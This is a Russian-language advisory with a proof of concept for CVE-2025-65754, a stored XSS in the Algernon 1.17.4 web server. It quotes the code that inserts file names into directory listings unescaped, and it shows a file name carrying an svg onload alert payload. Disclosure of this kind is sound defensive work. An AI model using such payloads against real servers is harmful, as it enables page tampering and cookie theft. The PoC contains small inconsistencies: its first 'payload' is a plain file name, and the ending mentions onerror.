CVE-2025-65754 : Хранимая XSS в Algernon 1.17.4

Описание

Algernon v1.17.4 подвержен уязвимости межсайтового скриптинга (XSS), которая позволяет злоумышленникам выполнять произвольный код с помощью специально созданной полезной нагрузки в имени файла.

Затронутый проект : Algernon - 1.17.4
Разработчик проекта : Alexander F. Rødseth (xyproto)
Тип уязвимости : Cross-Site Scripting (XSS)
Вектор атаки : Злоумышленник может загрузить файлы с вредоносными именами для изменения содержимого веб-сайта или кражи файлов cookie для перехвата сеансов.

Некоторые переменные не были санитизированы. Например :

engine/dirhandler.go строки 80-108


filename := item.Name()  // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))

themes/html.go строки 124-132

func HTMLLink(text, url string, isDirectory bool) string {
    if isDirectory {
        text += "/"
        url += "/"
    }
    return "<a href=\"/" + url + "\">" + text + "</a><br>"
    // 'text' (filename) is inserted directly without HTML escaping
}

Имена файлов из файловой системы вставляются непосредственно в HTML без экранирования в списках каталогов.

PoC

$ algernon -v                                  
Algernon 1.17.4

В каталоге создайте файлы с XSS-полезными нагрузками в качестве имен.

# XSS Payload 1: Simple alert
$touch "test.txt"

# XSS Payload 2: Event handler in filename
$touch "document<svg onload=alert(document.domain)>.svg"

В том же репозитории запустите приложение.

algernon

Server directory:       .
Server address:         :3000
Database:               Bolt (/tmp/algernon.db)
Cache mode:             On
Cache size:             1048576 bytes
TLS certificate:        cert.pem
TLS key:                key.pem
Request limit:          10/sec per visitor
Large file threshold:   44040192 bytes
Large file timeout:     10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/    
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2. 
INFO[0000] Use the -t flag for serving regular HTTP.    
INFO[0000] Serving HTTP on http://localhost:3000/

Посетите следующий URL, появится предупреждение.

Предупреждение XSS с onerror